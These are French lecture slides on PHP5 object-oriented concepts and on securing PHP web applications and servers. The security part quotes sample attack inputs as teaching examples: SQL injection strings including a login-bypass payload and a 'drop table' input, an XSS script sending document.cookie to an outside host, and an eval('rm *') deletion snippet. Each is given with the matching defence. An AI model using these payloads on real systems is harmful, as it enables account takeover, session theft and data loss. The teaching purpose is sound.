Programmation Web – PHP5

Dr. Hasnââ CHAABI

Nous avons 2 classes.

Dans la 1ère classe, une propriété est défini comme étant privée.

Est-ce que la propriété est accessible depuis la 2ème classe ?

- Si une propriété est définie comme private dans une classe, elle n'est pas **directement** accessible depuis une autre classe.
- Sauf si un Getter/Setter publics sont défintis.

Nous avons une classe qui hérite d'une autre classe.

Dans la classe mère, une propriété est défini comme étant privé, est-ce que la propriété est accessible depuis la classe fille?

- La classe fille hérite des méthodes publiques, mais la propriété privée reste privée.
- Cependant, vous pouvez accéder aux propriétés privées de la classe mère en utilisant des méthodes publiques de la classe mère (Getteres et Setters).

Surcharge et redéfinition des méthodes

La surcharge (overloading) et la redéfinition (overriding) sont des concepts clés dans la programmation orientée objet.

C’est la façon dont les méthodes d'une classe peuvent être modifiées ou étendues par les classes dérivées.

Surcharge - Overloading

La surcharge se produit lorsqu'une classe a **plusieurs méthodes portant le même nom** mais avec des listes de paramètres différentes.

Nous parlons de la même classe et de « signatures différentes » pour la même méthode.

```
class Exemple {

    public function operation($a) {

        // Traitement de la méthode en utilisant un seul paramètre

    }

    public function operation($a, $b) {

        // Traitement de la méthode en utilisant un deux paramètres

    }

}
```

Redéfinition - Overrriding

La redéfinition se produit lorsqu'une **classe enfant** fournit une implémentation spécifique pour une méthode déjà définie dans la classe parent.

La méthode dans la classe enfant a la même signature que la méthode dans la classe parent.

```
class ParentClass {
    public function operation() {
        // Code dans la classe parent
    }
}
class ChildClass extends ParentClass {
    public function operation() {
        // Redéfinition de la fonction initiale
    }
}
```

Quand une classe hérite d'une autre classe est ce qu'elle doit utiliser toutes les méthodes mères OU peut-on choisir certaines méthodes et en délaisser certaines?

- La classe enfant a la possibilité de redéfinir (**overrider**) certaines méthodes de la classe parente.
- La classe enfant n'est pas obligée de redéfinir toutes les méthodes de la classe parente.
- La classe enfant n'est pas obligée d'utiliser toutes les méthodes de la classe parente.

Est-ce que la surcharge de méthodes est possible en PHP5?

- Ce n'est pas directement supporté (Pas comme Java ou Python).
- Cependant, il est possible d'émuler cela en utilisant un tableau d'arguments.

Classe Abstraite (Abstract Class)

Une classe qui ne peut pas être instanciée elle-même. Elle peut être uti**lisée comme classe de base pour d'autres classes**. Elle peut **contenir** des propriétés, des *méthodes abstraites* (méthodes sans implémentation) et des *méthodes concrètes* (méthodes avec implémentation).

```
abstract class Personne {
    protected $nom;
    abstract public function afficherDetails();
    public function setNom($nom) {
        $this->nom = $nom;
    }
}
```

```
class Etudiant extends Personne {
    private $matricule;
    public function afficherDetails() {
        echo "Nom : " . $this->nom . ", Matricule : " . $this->matricule;
    }
    public function setMatricule($matricule) {
        $this->matricule = $matricule;
    }
}
$etudiant = new Etudiant();
$etudiant->setNom(« AlaZne Huerta");
$etudiant->setMatricule("12345");
$etudiant->afficherDetails();
```

Pourquoi utiliser une Classe Abstraite?

1. Définition d'une interface commune : Si nous avons plusieurs classes qui partagent certaines caractéristiques communes, il est intéressant de créer une classe abstraite pour définir une interface commune.

Les méthodes abstraites peuvent représenter des fonctionnalités communes, tandis que les méthodes concrètes peuvent fournir une implémentation de base partagée.

```
abstract class Forme {
    abstract public function calculerAire();
    abstract public function dessiner();
}
```

```
class Cercle extends Forme {
    public function calculerAire() {
        // Traitement
    }
    public function dessiner() {
        // Traitement
    }
}
class Rectangle extends Forme {
    public function calculerAire() {
        // Traitement
    }
    public function dessiner() {
        // Dessin d'un rectangle
    }
}
```

Pourquoi utiliser une Classe Abstraite?

2. Forcer l'implémentation : Les classes abstraites permettent de déclarer des méthodes abstraites qui doivent être implémentées par les classes dérivées. **Cela garantit** que certaines fonctionnalités spécifiques à chaque classe dérivée sont bien présentes.

```
abstract class Personne {
    protected $nom;
    abstract public function afficherDetails();
    public function setNom($nom) {
        $this->nom = $nom;
    }
}
```

```
class Etudiant extends Personne {
    private $matricule;
    public function afficherDetails() {
        echo "Nom : " . $this->nom . ", Matricule : " . $this->matricule;
    }
    public function setMatricule($matricule) {
        $this->matricule = $matricule;
    }
}
$etudiant = new Etudiant();
$etudiant->setNom(« AlaZne Huerta");
$etudiant->setMatricule("12345");
$etudiant->afficherDetails();
```

Pourquoi utiliser une Classe Abstraite?

3. Partage de code commun : Une classe abstraite peut fournir une implémentation de base pour des méthodes communes tout en laissant la possibilité aux classes dérivées de personnaliser ou d'étendre cette implémentation.

```
abstract class Personne {
    protected $nom;
    abstract public function afficherDetails();
    public function setNom($nom) {
        $this->nom = $nom;
    }
}
```

```
class Etudiant extends Personne {
    private $matricule;
    public function afficherDetails() {
        echo "Nom : " . $this->nom . ", Matricule : " . $this->matricule;
    }
    public function setMatricule($matricule) {
        $this->matricule = $matricule;
    }
}

$etudiant = new Etudiant();
$etudiant->setNom("AlaZne Huerta");
$etudiant->setMatricule("12345");
$etudiant->afficherDetails();
```

La différence entre une classe abstraite et une interface

En PHP 5, les classes abstraites offrent une **implémentation partielle** et sont limitées à un seul niveau d'héritage.
Les interfaces fournissent une abstraction totale sans implémentation et permettent une **implémentation multiple**.

Classe Abstraite

1. **Implémentation partielle :** Elle peut contenir des méthodes abstraites + des méthodes concrètes.
2. **Héritage :** Une classe peut hériter d'une seule classe abstraite.
3. **Accès aux membres protégés :** Les méthodes abstraites peuvent avoir des membres protégés, et ces membres sont accessibles aux classes dérivées.

Interface

1. **Pas d'implémentation :** Peut seulement contenir des signatures de méthodes. Elles sont implicitement abstraites.
2. **Implémentation multiple :** Une classe peut implémenter plusieurs interfaces.
3. **Pas de membres protégés :** Toutes les méthodes dans une interface sont implicitement publiques + pas de membres protégés.

La différence entre une classe abstraite et une interface

```php
abstract class Forme {
    protected $couleur;
    abstract public function calculerAire();
    public function definirCouleur($couleur) {
        $this->couleur = $couleur;
    }
}
class Cercle extends Forme {
    public function calculerAire() {
        // Calcul de l'aire pour un cercle
    }
}
```

```php
interface Forme {
    const PI = 3.14;
    public function calculerAire();
    public function definirCouleur($couleur);
}

class Cercle implements Forme {
    public function calculerAire() {
        // Calcul de l'aire pour un cercle
    }
    public function definirCouleur($couleur) {
        // Implémentation de la méthode définirCouleur
    }
}
```

Pourquoi avoir des membres protégés?

Les membres protected dans une classe sont accessibles depuis la **classe elle-même**, ainsi que par **les classes qui en héritent**.

1. Encapsulation et Contrôle de l'Accès : Les membres protégés permettent de contrôler l'accès à certaines propriétés ou méthodes d'une classe.

```
class MaClasse {
    protected $membreProtege;
    public function afficherMembreProtege() {
        echo $this->membreProtege;
    }
}
```

```
class MaClasseDerivee extends MaClasse {
    public function utiliserMembreProtege() {
        $this->membreProtege = "Nouvelle valeur";
        $this->afficherMembreProtege();
    }
}
```

```
$objet = new MaClasseDerivee();
$objet->utiliserMembreProtege();
```

Pourquoi avoir des membres protégés?

2. Héritage : Souvent utilisés dans le contexte de l'héritage. Ils permettent aux **classes dérivées d'accéder aux membres protégés de la classe parente**, facilitant ainsi la réutilisation du code.

```php
class Parente {
    protected $attributParent;

    protected function methodeParente() {
        // ...
    }
}
```

```php
class Enfant extends Parente {
    public function utiliserMembreParent() {
        $this->attributParent = "Nouvelle valeur";
        $this->methodeParente();
    }
}
```

Pourquoi avoir des membres protégés?

3. Flexibilité dans l'Implémentation : la capacité d'une classe dérivée de modifier ou d'étendre le comportement des membres protégés d'une classe parente sans exposer ces membres directement au monde extérieur.

```
class ClasseMere {
    protected $proprieteProtegee = "Valeur initiale";

    protected function methodeProtegee() {
        echo "Méthode protégée de la classe mère\n";
    }
}

class ClasseFille extends ClasseMere {
    public function affichProprieteProtegee(){
        echo $this->proprieteProtegee . "\n";
    }
    public function utiliserMethodeProtegee() {
        $this->methodeProtegee();
    }
}
```

```
// Utilisation des classes
$objetFille = new ClasseFille();

$objetFille->affichProprieteProtegee();

$objetFille->utiliserMethodeProtegee();
```

Sécuriser l'application? Le Serveur?

Sécuriser l'application: s'assurer que toutes les entrées des utilisateurs sont nettoyées ou vérifiées par rapport aux valeurs que vous savez bonnes et ne permettre aucune entrée dans le programme à moins que vous ne l'ayez vérifiée par programme.

Sécuriser le serveur de telle sorte que si le serveur est compromis, les dégâts soient limités (conserver l'application Web up and runing).

I. Sécuriser le serveur

1. Renforcer le serveur

- Cela signifie renforcer le système d'exploitation en **désinstallant les services inutiles.** Par exemple, un serveur d'impression.
- Donc, il y a moins d'éléments à exploiter pour un attaquant.
- Des outils comme **SELinux**(ensemble de modifications apportées au noyau Linux pour renforcer la sécurité) et **grSecurity**(ensemble de correctifs pour le noyau Linux surtout le débordement de tampon) améliorent également la sécurité d'un serveur.

SElinux

Offre un niveau supplémentaire de contrôle sur les autorisations des utilisateurs et des processus par rapport aux mécanismes de contrôle d'accès traditionnels, tels que le contrôle d'accès basé sur les droits (DAC - Discretionary Access Control) utilisé par défaut dans la plupart des systèmes Linux.

- **Contrôle d'accès obligatoire** : SElinux impose des règles de sécurité strictes déterminant quelles actions les processus sont autorisés à effectuer, indépendamment des permissions de fichier classiques.
- **Étiquetage des objets** : Les objets du système, tels que les fichiers, les processus et les ports réseau, sont étiquetés avec des contextes de sécurité spécifiques pour pouvoir prendre des décisions sur les accès.
- **Noyau Linux** : SElinux nécessite des modifications dans le noyau Linux pour prendre en charge ses fonctionnalités de contrôle d'accès obligatoire.

GrSecurity (Grsecurity/PaX)

Fonctionnalités de sécurité avancées: protections contre les attaques par débordement de tampon et exécution de données (DEP - Data Execution Prevention).

- **Protection contre les débordements de tampon** : une classe courante de vulnérabilités de sécurité qui permet d'exécuter du code malveillant.
- **Randomisation de l'espace d'adressage (ASLR)** : Grsecurity intègre des mécanismes de randomisation de l'espace d'adressage pour rendre plus difficile la prédiction des adresses mémoire par des attaquants.
- **Restrictions des droits d'exécution** : Grsecurity permet de restreindre l'exécution de fichiers spécifiques en fonction de leurs emplacements sur le système de fichiers.
- **Prévention de l'injection de code** : Les correctifs Grsecurity incluent des protections pour prévenir l'injection de code dans des processus en cours d'exécution.
- **Droits d'accès améliorés** : Il permet une définition plus fine des droits d'accès pour les utilisateurs et les processus.
- **Analyse d'exécution** : détecter et prévenir les attaques en analysant le comportement d'exécution.
- **Support pour PaX** : PaX est une fonctionnalité de Grsecurity qui introduit des protections supplémentaires, y compris la non-exécution de segments de données (DEP) et l'imposition de restrictions sur la capacité d'exécution de certaines parties de la mémoire.

I. Sécuriser le serveur

2. Utiliser un pare-feu

- S'assurer qu'il existe un pare-feu bloquant les connexions à tous les ports, à l'exception de ceux spécifiquement autorisés: TCP 80 et 443 pour un serveur Web typique.
- Un meilleur scénario (**double protection**) consiste à exécuter le pare-feu à la fois au point d'entrée (le point où Internet rencontre votre réseau) et sur le serveur lui-même: même si un attaquant trouve un autre moyen d'accéder au réseau, **le serveur Web sera protégé**.
- Tous les principaux **systèmes d'exploitation** incluent des outils de pare-feu **intégrés** et ils sont à la fois faciles à configurer et à entretenir.

II. Sécuriser Apache

- Rendre Apache plus sécurisé lorsqu'il exécute des applications PHP : en utilisant **SuExec** et **mod_security**.
- Si vous utilisez un fournisseur d'hébergement tiers, vous ne pourrez pas installer SuExec ou mod_security, mais vous compterez plutôt sur le fournisseur d'hébergement pour (et laissez-le s'inquiéter de) la sécurité du serveur.

1. Sécuriser les applications PHP avec SuExec

- Activer SuExec dans votre configuration Apache.
- SuExec est un mécanisme fourni avec Apache qui permet d'exécuter les scripts en tant qu'utilisateur propriétaire du script, plutôt que de les exécuter en tant qu'utilisateur du serveur Web*.
- Dans un environnement non-SuExec, tous les scripts sont exécutés sous le même ID utilisateur que le serveur Web lui-même.
- **Un script vulnérable = donner à un utilisateur malveillant un accès détourné à l'ensemble du serveur Web et même à d'autres sites hébergés sur le même serveur.**
- Avec SuExec: 1. les applications Web sont limitées à leurs propres zones. 2. Elles sont exécutées sous les ID utilisateur de leurs propriétaires, plutôt que sous l'ID utilisateur du serveur Web.

1. Sécuriser les applications PHP avec SuExec

- Même si un site web est attaqué, les autres sites hébergés sont protégés.
- SuExec est conçu pour exécuter des scripts qui existent à la racine du document du serveur Web. L'administrateur système doit se charger d'ajouter la racine du document de chaque hôte virtuel dans le fichier de configuration Apache.
- SuExec nécessite également que les scripts PHP soient exécutés en tant que Common Gateway Interface (CGI), ce qui est plus lent que l'exécution de PHP en tant que module précompilé sous Apache.
- CGI a été le premier modèle exploitable pour les applications Web et il est toujours utilisé pour des scripts simples.

Common Gateway Interface (CGI)

La Common Gateway Interface (CGI) = une norme qui définit la communication entre les serveurs web et les programmes externes pour traiter les requêtes HTTP.

Voici comment CGI fonctionne avec PHP5 :

1. **Requête HTTP :** Lorsqu'une requête HTTP est faite pour un fichier PHP, le serveur web reçoit la requête et détermine qu'elle doit être traitée par le moteur PHP.
2. **Appel CGI :** Le serveur web lance un processus CGI pour exécuter le script PHP – Une instance du moteur PHP.
3. **Communication avec le script PHP :** Les données de la requête HTTP (les paramètres de formulaire) sont transmises au processus CGI qui exécute le script PHP. Le script PHP traite ces données et génère une réponse.
4. **Renvoi de la réponse :** La réponse générée par le script PHP est renvoyée au serveur web par le processus CGI. Le serveur web envoie ensuite la réponse au client (un navigateur web) qui a initialement effectué la requête.

1. Sécuriser les applications PHP avec SuExec

- **Cependant**, une fois que vous aurez quitté le domaine des scripts PHP et commencé à écrire des applications à part entière (avec dizaines ou des centaines d'utilisateurs), vous aurez besoin de l'amélioration des performances du PHP précompilé.

- Pour améliorer les performances et la gestion des processus, FastCGI et PHP-FPM sont des alternatives populaires à CGI.

2. mod_security

- **mod_security**: module open source, un moteur de filtrage robuste.
- Si votre serveur exécute SuExec, **mod_security** est une excellente première ligne de défense!
- Il intercepte tout le trafic à destination du serveur Web (à la fois GET et POST). Il surveille les requêtes entrantes et élimine les plus suspectes.
- **Il compare le trafic à un ensemble de règles** pour déterminer s'il faut arrêter chaque paquet individuel ou lui permettre de passer au serveur Web.
- Il est **livré** avec un ensemble de **règles de base** conçues pour protéger les serveurs de la plupart des attaques génériques.
- Il est possible d'ajouter ses propres règles selon nos besoins pour répondre à des attaques spécifiques sur nos applications.

Attaques génériques

1. **Injection SQL :** Les attaques par injection SQL surviennent lorsque des données non fiables sont intégrées directement dans des requêtes SQL. Comme exécuter des commandes SQL non autorisées et accéder à BDD.
2. **Cross-Site Scripting (XSS) :** Les attaques XSS se produisent lorsque des données non fiables sont incluses dans le code HTML d'une page web, ce qui peut permettre à un attaquant d'exécuter des scripts malveillants dans le navigateur des utilisateurs.
3. **Cross-Site Request Forgery (CSRF) :** ils exploitent la confiance que les sites web accordent aux navigateurs. Un attaquant peut forcer un utilisateur à effectuer des actions non intentionnelles, souvent en exploitant des sessions actives.
4. **Inclusion de fichiers (LFI/RFI) :** Les vulnérabilités de LFI (Local File Inclusion) et RFI (Remote File Inclusion) peuvent permettre à un attaquant d'inclure des fichiers arbitraires sur le serveur, ce qui peut conduire à l'exécution de code malveillant.

III. Des options de sécurité dans php.ini - les paramètres recommandés pour chaque option

Option	Description
safe_mode = on	Limite les scripts PHP à accéder uniquement aux fichiers appartenant au même utilisateur que celui sous lequel le script s'exécute, empêchant ainsi les attaques par traversée de répertoires.
safe_mode_gid = off	Ce paramètre, combiné avec safe_mode, permet aux scripts PHP d'accéder uniquement aux fichiers dont le propriétaire et le groupe correspondent à l'utilisateur/groupe sous lequel le script est exécuté.
expose_php = off	Empêche PHP de divulguer des informations le concernant dans les en-têtes HTTP envoyés aux utilisateurs.
display_errors = off	Empêche l'affichage des erreurs et des avertissements PHP à l'utilisateur. Non seulement les avertissements PHP donnent à votre site une apparence non professionnelle, mais ils révèlent aussi souvent des informations sensibles, telles que les noms de chemin et les requêtes SQL.

III. Des options de sécurité dans php.ini - les paramètres recommandés pour chaque option

Option	Description
register_globals = off	Si ce paramètre est activé, toutes les variables d'environnement, GET, POST, cookies et serveur sont enregistrées en tant que variables globales, ce qui les rend facilement accessibles aux attaquants. Sauf si vous n'avez pas d'autre choix que de l'activer, vous devez laisser register_globals désactivé.
log_errors = on	Lorsque ce paramètre est activé, tous les avertissements et erreurs sont écrits dans un fichier journal dans lequel vous pouvez examiner ces avertissements et erreurs ultérieurement.
error_log = filename	Spécifie le nom du fichier journal dans lequel PHP doit écrire les erreurs et les avertissements.
open_basedir = directory	Lorsque ce paramètre est activé, le script PHP ne peut accéder qu'aux fichiers situés dans les répertoires spécifiés.

IV. Gérer les erreurs en toute sécurité

Surtout à l'heure de manipuler les formulaires: les attaquants pourraient saisir des éléments à des fins néfastes.

1. Comprendre les dangers

- **Injection SQL:** il est supposé que les infos collectées dans un formulaire vont être utilisées dans une requête SQL. Donc, cela s'exécutera sur la BDD.
- L'attaquant saisit des caractères dans votre champ de formulaire qui peuvent vous **poser des problèmes lorsqu'ils sont utilisés dans une requête**.
- Par exemple : María ; drop%20 table%20users.
- Si votre application est configurée pour saisir les noms des utilisateurs dans la base de données, votre requête SQL ressemblerait à ceci :

INSERT INTO users VALUES (María; drop table users);

Si vous n'êtes pas protégé: votre serveur fera ce que cette ligne de code lui dit : ajouter « María » à la table de l'utilisateur, puis la supprimer.

Solution à une injection SQL

Il est fortement recommandé d'utiliser des:

- Requêtes préparées avec des déclarations paramétrées.
- Fonctions d'échappement appropriées pour traiter les entrées utilisateur avant de les incorporer dans des requêtes SQL:
  - **mysqli_real_escape_string** en MySQLi
  - **PDO::quote** avec PDO.

1. Comprendre les dangers

- L'utilisateur d'un formulaire pourrais **contourner l'authentification** en tapant:María’ OR 'oo' = 'oo’ –
- Si vous avez: $sql = “SELECT * FROM User WHERE userID = ‘$_POST[userID]’ AND password = ‘$_POST[password]””;
- Vous aurez: $sql = “SELECT * FROM User WHERE username = ‘María’ OR ‘oo’ = ‘oo’ -- ‘ AND password = ‘$_POST[password]””;
- **Cette requête permet à l'utilisateur de se connecter sans nom d'utilisateur ni mot de passe valide.**
- **WHERE, oo = oo** est **vrai**.
- **--** transforme le reste de la requête en commentaire.

1. Comprendre les dangers

Un autre type de saisie de formulaire dangereux se produit lorsque l'attaquant saisit un script dans le champ de votre formulaire:

<script>document.location='http://site.com/truc.php?cookies=' + document.cookie
</script>

Si vous stockez ce texte et que vous l'envoyez ensuite à quelqu'un qui visite votre site Web, votre visiteur enverra les cookies liés à votre application au haacker.

Un autre mauvais script pourrait être le suivant:

<script language="php">

eval("rm *");

</script>

la fonction eval pour exécuter du code PHP.
la commande système rm * est une commande UNIX pour supprimer tous les fichiers dans le répertoire courant.

2. Test des entrées inattendues

Vous pourriez définir des critères d'inclusions pour des champs spécifiques: si vous demandez un nom :

- Les données sont alphabétiques – pas de chiffres.
- Le nom peut comporter un espace, une apostrophe ou un trait d'union, comme Mary Jane, O'Hara ou Anne-Marie.
- Les données n'incluent certainement pas de balises HTML ou d'autres morceaux de code.

2. Test des entrées inattendues

- Ces critères sont les clés pour tester les entrées inattendues.
- Utiliser la fonction **preg_match()** de PHP pour déterminer si elle contient des caractères non alphabétiques, autres qu'un espace, une apostrophe ou un trait d'union.
- Les expressions régulières (ou regex, en abrégé) sont l'essence de tous les tests d'entrée.
- Concernant le HTML, appelé **détournement d'utilisateur** ou **cross site scripting**, utilisez **htmlentities()** sur toute valeur que vous envisagez d'utiliser pour afficher du HTML.

3. Vérification de toutes les données du formulaire

- Vérifiez toutes les informations de votre formulaire, y compris les listes déroulantes, les cases à cocher ou les radio boutons.
- Il existe des plug-ins de navigateur qui activent les valeurs des données GET et POST juste après avoir cliqué sur le bouton « Envoyer ».
- Vous pouvez vérifier votre liste de variables avec des expressions régulières. Par exemple, l'expression régulière suivante correspond uniquement au texte spécifié :

preg_match("/(male|female)/")